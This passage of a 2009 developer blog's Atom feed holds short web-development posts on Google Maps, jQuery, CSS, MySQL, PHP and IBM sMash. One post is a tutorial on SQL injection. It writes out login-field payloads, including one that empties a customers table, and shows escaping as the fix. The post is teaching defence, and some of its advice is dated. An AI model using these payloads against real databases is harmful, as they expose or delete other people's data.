href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1691591840531177180'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/xml-to-json-converter.html' title='XML to JSON – a converter'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2133286724569268238</id><published>2009-09-11T03:29:00.000-07:00</published><updated>2009-09-11T03:44:53.349-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google Map'/><category scheme='http://www.blogger.com/atom/ns#' term='API'/><title type='text'>Google Map API</title><content type='html'>&amp;lt; script src="http://maps.google.com/maps?file=api&amp;amp;v=2.x&amp;amp;key=ABQIAAAAzr2EBOXUKnm_jVnk0OJI7xSosDVG8KKPE1-m51RBrvYughuyMxQ-i1QfUnH94QxWIa6N4U6MouMmBA" type="text/javascript" &amp;gt;&amp;lt;/script&amp;lt;&lt;br /&gt;&lt;br /&gt;var map = null;&lt;br /&gt;var geocoder = null;&lt;br /&gt; &lt;br /&gt;function initialize() {&lt;br /&gt;  if (GBrowserIsCompatible()) {&lt;br /&gt; map = new GMap2(document.getElementById("map_canvas"));&lt;br /&gt; map.setCenter(new GLatLng(37.4419, -122.1419), 13);&lt;br /&gt; geocoder = new GClientGeocoder();&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function showAddress(address) {&lt;br /&gt;  if (geocoder) {&lt;br /&gt; geocoder.getLatLng(&lt;br /&gt;   address,&lt;br /&gt;   function(point) {&lt;br /&gt;  if (!point) {&lt;br /&gt;    alert(address + " not found");&lt;br /&gt;  } else {&lt;br /&gt;    map.setCenter(point, 13);&lt;br /&gt;    var marker = new GMarker(point);&lt;br /&gt;    map.addOverlay(marker);&lt;br /&gt;    marker.openInfoWindowHtml(address);&lt;br /&gt;  }&lt;br /&gt;   }&lt;br /&gt; );&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;initialize();&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2133286724569268238?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2133286724569268238/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/google-map-api.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2133286724569268238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2133286724569268238'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/google-map-api.html' title='Google Map API'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-5861010386752636167</id><published>2009-09-11T03:02:00.000-07:00</published><updated>2009-09-11T03:05:50.615-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><category scheme='http://www.blogger.com/atom/ns#' term='jQuery'/><title type='text'>jQuery based inline form validation engine</title><content type='html'>When it comes to form validation, it’s hard to have a versatile solution that works with every form. Figuring out how to display errors is not a simple task. This is something I tried to remedy with this script. When an error needs to be displayed, the script creates a div and positions it in the top right corner of the input. This way you don’t have to worry about your HTML form structure. The rounded corner and shadow are done with CSS3 and degrade well in non compliant browsers. There is no images needed.&lt;br /&gt;&lt;br /&gt;When you submit a form, it will look for inputs with predefined class selectors, and validate them accordingly to their type. It also does on the fly validation when you click outside of the input. When validating on submit , every errors will appear in absolute position above the input in question, and slide the scroll bar to this first error (diminish your browser window if you don’t see the effect).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;for demo visit the link http://www.position-relative.net/creation/formValidator/&lt;br /&gt;&lt;br /&gt;To enjoy it with your application download it from http://www.position-relative.net/creation/formValidator/formValidator.zip&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-5861010386752636167?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/5861010386752636167/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/jquery-based-inline-form-validation.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5861010386752636167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5861010386752636167'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/jquery-based-inline-form-validation.html' title='jQuery based inline form validation engine'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2298510250247895580</id><published>2009-09-11T02:57:00.000-07:00</published><updated>2009-09-11T03:00:03.800-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>Pure CSS Animated Progress Bar</title><content type='html'>http://cssglobe.com/lab/progress_bar/progress_bar.zip&lt;br /&gt;&lt;br /&gt;Here's a simple demonstration of how you can create animated progress bar using pure css. The trick is very simple. We need 3 elements, one container and 2 nested elements.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2298510250247895580?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2298510250247895580/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/pure-css-animated-progress-bar.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2298510250247895580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2298510250247895580'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/pure-css-animated-progress-bar.html' title='Pure CSS Animated Progress Bar'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-6783828655316806767</id><published>2009-09-11T02:10:00.000-07:00</published><updated>2009-09-11T02:11:07.770-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><title type='text'>MySQL: TimeZone support</title><content type='html'>http://dev.mysql.com/doc/refman/5.0/en/time-zone-support.html&lt;br /&gt;&lt;br /&gt;MySQL timezone support is very powerful feature to work with multiple timezones. This includes the values displayed by functions such as NOW() or CURTIME(), and values stored in and retrieved from TIMESTAMP columns. Values for TIMESTAMP columns are converted from the current time zone to UTC for storage, and from UTC to the current time zone for retrieval.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-6783828655316806767?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/6783828655316806767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/mysql-timezone-support.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6783828655316806767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6783828655316806767'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/mysql-timezone-support.html' title='MySQL: TimeZone support'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-4865771599204018626</id><published>2009-09-11T02:09:00.000-07:00</published><updated>2009-09-11T02:10:10.904-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Flex'/><title type='text'>Flex with PHP</title><content type='html'>Flex Builder &amp; PHP&lt;br /&gt;&lt;br /&gt;Download Flex Builder:https://www.adobe.com/cfusion/tdrc/index.cfm?loc=en%5Fus&amp;product=flex&lt;br /&gt;&lt;br /&gt;Flex documentation:http://labs.adobe.com/wiki/index.php/Flex_Builder&lt;br /&gt;&lt;br /&gt;Online Adobe Flex development center:http://www.adobe.com/devnet/flex/?tab:samples=1&lt;br /&gt;&lt;br /&gt;Flex is next foot step for PHP programmers. Its a emerging enhancement and concepts introduce via “Adobe” to developed a PHP application with flexible support of Flash and XML. Its makes your application attractive in presentation and very good as user experience to view your application on the web.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-4865771599204018626?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/4865771599204018626/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/flex-with-php.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4865771599204018626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4865771599204018626'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/flex-with-php.html' title='Flex with PHP'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-1610160544514868401</id><published>2009-07-30T01:59:00.000-07:00</published><updated>2009-07-30T02:23:21.749-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>PHP Code Optimization: Do's and Don'ts</title><content type='html'>I am listing tips to improve your PHP code performance. There are few whom you can call as debatable but overall the code performance will surely increase.&lt;br /&gt;&lt;br /&gt;Following tips are written to save time and development cost (includes memory too)&lt;br /&gt;&lt;br /&gt;    * If a method can be static, declare it static. Speed improvement is by a factor of 4.&lt;br /&gt;    * echo is faster than print.&lt;br /&gt;    * Unset your variables to free memory, especially large arrays.&lt;br /&gt;    * Avoid magic like __get, __set, __autoload&lt;br /&gt;    * require_once() is expensive&lt;br /&gt;    * Use full paths in includes and requires, less time spent on resolving the OS paths.&lt;br /&gt;    * str_replace is faster than preg_replace, but strtr is faster than str_replace by a factor of 4&lt;br /&gt;    * It's better to use switch statements than multi if, else if, statements.&lt;br /&gt;    * Error suppression with @ is very slow.&lt;br /&gt;    * Turn on apache's mod_deflate&lt;br /&gt;    * Close your database connections when you're done with them&lt;br /&gt;    * A PHP script will be served at least 2-10 times slower than a static HTML page by Apache. Try to use more static HTML pages and fewer scripts.&lt;br /&gt;    * Cache as much as possible. Use memcached - memcached is a high-performance memory object caching system intended to speed up dynamic web applications by alleviating database load. OP code caches are useful so that your script does not have to be compiled on every request&lt;br /&gt;    * Do not implement every data structure as a class, arrays are useful, too&lt;br /&gt;    * mod_gzip which is available as an Apache module compresses your data on the fly and can reduce the data to transfer up to 80%&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All the above can be used to reduce the processing time and you can make your client happy.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-1610160544514868401?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/1610160544514868401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/07/php-code-optimization-dos-and-donts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1610160544514868401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1610160544514868401'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/07/php-code-optimization-dos-and-donts.html' title='PHP Code Optimization: Do&apos;s and Don&apos;ts'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-5766287269090624056</id><published>2009-07-30T01:25:00.000-07:00</published><updated>2009-07-30T01:27:41.032-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>What is SQL Injection?</title><content type='html'>What is SQL Injection&lt;br /&gt;&lt;br /&gt;SQL injection refers to the act of someone inserting a MySQL statement to be run on your database without your knowledge. Injection usually occurs when you ask a user for input, like their name, and instead of a name they give you a MySQL statement that you will unknowingly run on your database.&lt;br /&gt;SQL Injection Example&lt;br /&gt;&lt;br /&gt;Below is a sample string that has been gathered from a normal user and a bad user trying to use SQL Injection. We asked the users for their login, which will be used to run a SELECT statement to get their information.&lt;br /&gt;MySQL &amp; PHP Code:&lt;br /&gt;&lt;br /&gt;// a good user's name&lt;br /&gt;$name = "timmy"; &lt;br /&gt;$query = "SELECT * FROM customers WHERE username = '$name'";&lt;br /&gt;echo "Normal: " . $query . "&lt;br /&gt;";&lt;br /&gt;&lt;br /&gt;// user input that uses SQL Injection&lt;br /&gt;$name_bad = "' OR 1'"; &lt;br /&gt;&lt;br /&gt;// our MySQL query builder, however, not a very safe one&lt;br /&gt;$query_bad = "SELECT * FROM customers WHERE username = '$name_bad'";&lt;br /&gt;&lt;br /&gt;// display what the new query will look like, with injection&lt;br /&gt;echo "Injection: " . $query_bad;&lt;br /&gt;&lt;br /&gt;Display:&lt;br /&gt;Normal: SELECT * FROM customers WHERE username = 'timmy'&lt;br /&gt;Injection: SELECT * FROM customers WHERE username = '' OR 1''&lt;br /&gt;&lt;br /&gt;The normal query is no problem, as our MySQL statement will just select everything from customers that has a username equal to timmy.&lt;br /&gt;&lt;br /&gt;However, the injection attack has actually made our query behave differently than we intended. By using a single quote (') they have ended the string part of our MySQL query&lt;br /&gt;&lt;br /&gt;    * username = ' '&lt;br /&gt;&lt;br /&gt;and then added on to our WHERE statement with an OR clause of 1 (always true).&lt;br /&gt;&lt;br /&gt;    * username = ' ' OR 1&lt;br /&gt;&lt;br /&gt;This OR clause of 1 will always be true and so every single entry in the "customers" table would be selected by this statement!&lt;br /&gt;More Serious SQL Injection Attacks&lt;br /&gt;&lt;br /&gt;Although the above example displayed a situation where an attacker could possibly get access to a lot of information they shouldn't have, the attacks can be a lot worse. For example an attacker could empty out a table by executing a DELETE statement.&lt;br /&gt;MySQL &amp; PHP Code:&lt;br /&gt;&lt;br /&gt;$name_evil = "'; DELETE FROM customers WHERE 1 or username = '"; &lt;br /&gt;&lt;br /&gt;// our MySQL query builder really should check for injection&lt;br /&gt;$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";&lt;br /&gt;&lt;br /&gt;// the new evil injection query would include a DELETE statement&lt;br /&gt;echo "Injection: " . $query_evil;&lt;br /&gt;&lt;br /&gt;Display:&lt;br /&gt;SELECT * FROM customers WHERE username = ' '; DELETE FROM customers WHERE 1 or username = ' '&lt;br /&gt;&lt;br /&gt;If you were run this query, then the injected DELETE statement would completely empty your "customers" table. Now that you know this is a problem, how can you prevent it?&lt;br /&gt;&lt;br /&gt;Injection Prevention - mysql_real_escape_string()&lt;br /&gt;&lt;br /&gt;Lucky for you, this problem has been known for a while and PHP has a specially-made function to prevent these attacks. All you need to do is use the mouthful of a function mysql_real_escape_string.&lt;br /&gt;&lt;br /&gt;What mysql_real_escape_string does is take a string that is going to be used in a MySQL query and return the same string with all SQL Injection attempts safely escaped. Basically, it will replace those troublesome quotes(') a user might enter with a MySQL-safe substitute, an escaped quote \'.&lt;br /&gt;&lt;br /&gt;Lets try out this function on our two previous injection attacks and see how it works.&lt;br /&gt;MySQL &amp; PHP Code:&lt;br /&gt;&lt;br /&gt;//NOTE: you must be connected to the database to use this function!&lt;br /&gt;// connect to MySQL&lt;br /&gt;&lt;br /&gt;$name_bad = "' OR 1'"; &lt;br /&gt;&lt;br /&gt;$name_bad = mysql_real_escape_string($name_bad);&lt;br /&gt;&lt;br /&gt;$query_bad = "SELECT * FROM customers WHERE username = '$name_bad'";&lt;br /&gt;echo "Escaped Bad Injection: &lt;br /&gt;" . $query_bad . "&lt;br /&gt;";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$name_evil = "'; DELETE FROM customers WHERE 1 or username = '"; &lt;br /&gt;&lt;br /&gt;$name_evil = mysql_real_escape_string($name_evil);&lt;br /&gt;&lt;br /&gt;$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";&lt;br /&gt;echo "Escaped Evil Injection: &lt;br /&gt;" . $query_evil;&lt;br /&gt;&lt;br /&gt;Display:&lt;br /&gt;Escaped Bad Injection:&lt;br /&gt;SELECT * FROM customers WHERE username = '\' OR 1\''&lt;br /&gt;Escaped Evil Injection:&lt;br /&gt;SELECT * FROM customers WHERE username = '\'; DELETE FROM customers WHERE 1 or username = \''&lt;br /&gt;&lt;br /&gt;Notice that those evil quotes have been escaped with a backslash \, preventing the injection attack. Now all these queries will do is try to find a username that is just completely ridiculous:&lt;br /&gt;&lt;br /&gt;    * Bad: \' OR 1\'&lt;br /&gt;    * Evil: \'; DELETE FROM customers WHERE 1 or username = \'&lt;br /&gt;&lt;br /&gt;And I don't think we have to worry about those silly usernames getting access to our MySQL database. So please do use the handy mysql_real_escape_string() function to help prevent SQL Injection attacks on your websites. You have no excuse not to use it after reading this lesson!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-5766287269090624056?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/5766287269090624056/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/07/what-is-sql-injection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5766287269090624056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5766287269090624056'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/07/what-is-sql-injection.html' title='What is SQL Injection?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-7806642969614333185</id><published>2009-04-09T04:36:00.000-07:00</published><updated>2009-04-09T04:38:22.072-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Dojo'/><title type='text'>how to get KeyCode using Dojo?</title><content type='html'>var key;&lt;br /&gt;function echo(event) {&lt;br /&gt;        key = event.keyCode;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;dojo.addOnLoad(function() {&lt;br /&gt;        interactiveNode = dojo.byId("sendResponse");&lt;br /&gt;        dojo.connect(interactiveNode, 'onkeydown', echo);&lt;br /&gt;});&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-7806642969614333185?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/7806642969614333185/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/how-to-get-keycode-using-dojo.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7806642969614333185'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7806642969614333185'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/how-to-get-keycode-using-dojo.html' title='how to get KeyCode using Dojo?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-6249143231285336498</id><published>2009-04-01T00:30:00.000-07:00</published><updated>2009-04-01T00:32:28.957-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Session Handling'/><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='Sessions'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>IBM WebSphere sMash - How to handle sessions?</title><content type='html'>To handle the session, there we need to use User Zone to specify session variables. There are some important function needs to specify to implement the sessions:&lt;br /&gt;&lt;br /&gt;1: zput("/user#save", true); =&gt; To save the session&lt;br /&gt;&lt;br /&gt;2: zput("/user#invalidate", true); =&gt; To invalidate the session&lt;br /&gt;&lt;br /&gt;3: zput("/user/varName", "&lt;value&gt;"); =&gt; To set the session variable&lt;br /&gt;&lt;br /&gt;4: zput("/user/varName", ""); =&gt; To unset the session variable&lt;br /&gt;&lt;br /&gt;To Set the error message during the session, can be used:&lt;br /&gt;&lt;br /&gt;Zput("/user/login/error","Error Message");&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-6249143231285336498?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/6249143231285336498/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/ibm-websphere-smash-how-to-handle.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6249143231285336498'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6249143231285336498'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/ibm-websphere-smash-how-to-handle.html' title='IBM WebSphere sMash - How to handle sessions?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-7436829972476000688</id><published>2009-04-01T00:25:00.000-07:00</published><updated>2009-04-01T00:30:32.579-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Error Handling'/><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>IBM WebSphere sMash - global 404 error handling</title><content type='html'>If you like to handle 404 error at common point of sMash application, please follows the below steps:&lt;br /&gt;&lt;br /&gt;1: Create a error404.html file under /app/errors/&lt;br /&gt;2: Now specify your 404 handling code or HTML snippet.&lt;br /&gt;&lt;br /&gt;This method is similar to follow any type of error in sMash, if you like to handle 503 error. you need to create error503.html file only.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-7436829972476000688?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/7436829972476000688/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/ibm-websphere-smash-global-404-error.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7436829972476000688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7436829972476000688'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/ibm-websphere-smash-global-404-error.html' title='IBM WebSphere sMash - global 404 error handling'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-4117554360110485485</id><published>2009-04-01T00:24:00.001-07:00</published><updated>2009-04-01T00:24:56.510-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Project Zero'/><category scheme='http://www.blogger.com/atom/ns#' term='Caching'/><category scheme='http://www.blogger.com/atom/ns#' term='IBM sMash'/><title type='text'>IBM WebSphere sMash - Caching Machanism</title><content type='html'>There are three types of caching support available in sMash:-&lt;br /&gt;&lt;br /&gt;- Resource caching mechanism&lt;br /&gt;&lt;br /&gt;sMash doesn't provide a simple cache API for anything. You could easily store the data in the storage or app zone depending on the lifetime. You can also just manage a disk cache yourself or take one of the off the shelf cache libraries to help you.&lt;br /&gt;&lt;br /&gt;- File caching mechanism&lt;br /&gt;&lt;br /&gt;By default, files are served with an Etag header that can be used to validate the next request on the server. If you want to turn this behavior off set /config/fileserver/setEtag to false.&lt;br /&gt;&lt;br /&gt;Files are also served by default with a Cache-Control header with a max-age of 0. This behavior can be overridden by file extension. For example, to cache all .js files for 300 seconds, set /config/fileserver/expires/.js to 300. This will result in a Cache-Control header being served with a max-age of 300 for all .js files.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;/config/fileserver/setEtag = true&lt;br /&gt;&lt;br /&gt;/config/fileserver/expires/.js = 300&lt;br /&gt;/config/fileserver/expires/.css = 300&lt;br /&gt;/config/fileserver/expires/.gif = 300&lt;br /&gt;/config/fileserver/expires/.png = 300&lt;br /&gt;&lt;br /&gt;-  Script caching mechanism&lt;br /&gt;&lt;br /&gt;For script caching in PHP we changed the following settings in&lt;br /&gt;&lt;br /&gt;persistent_code_cache=true&lt;br /&gt;persistent_code_cache_dir="./.zero/private/p8codecach&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-4117554360110485485?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/4117554360110485485/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/ibm-websphere-smash-caching-machanism.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4117554360110485485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4117554360110485485'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/04/ibm-websphere-smash-caching-machanism.html' title='IBM WebSphere sMash - Caching 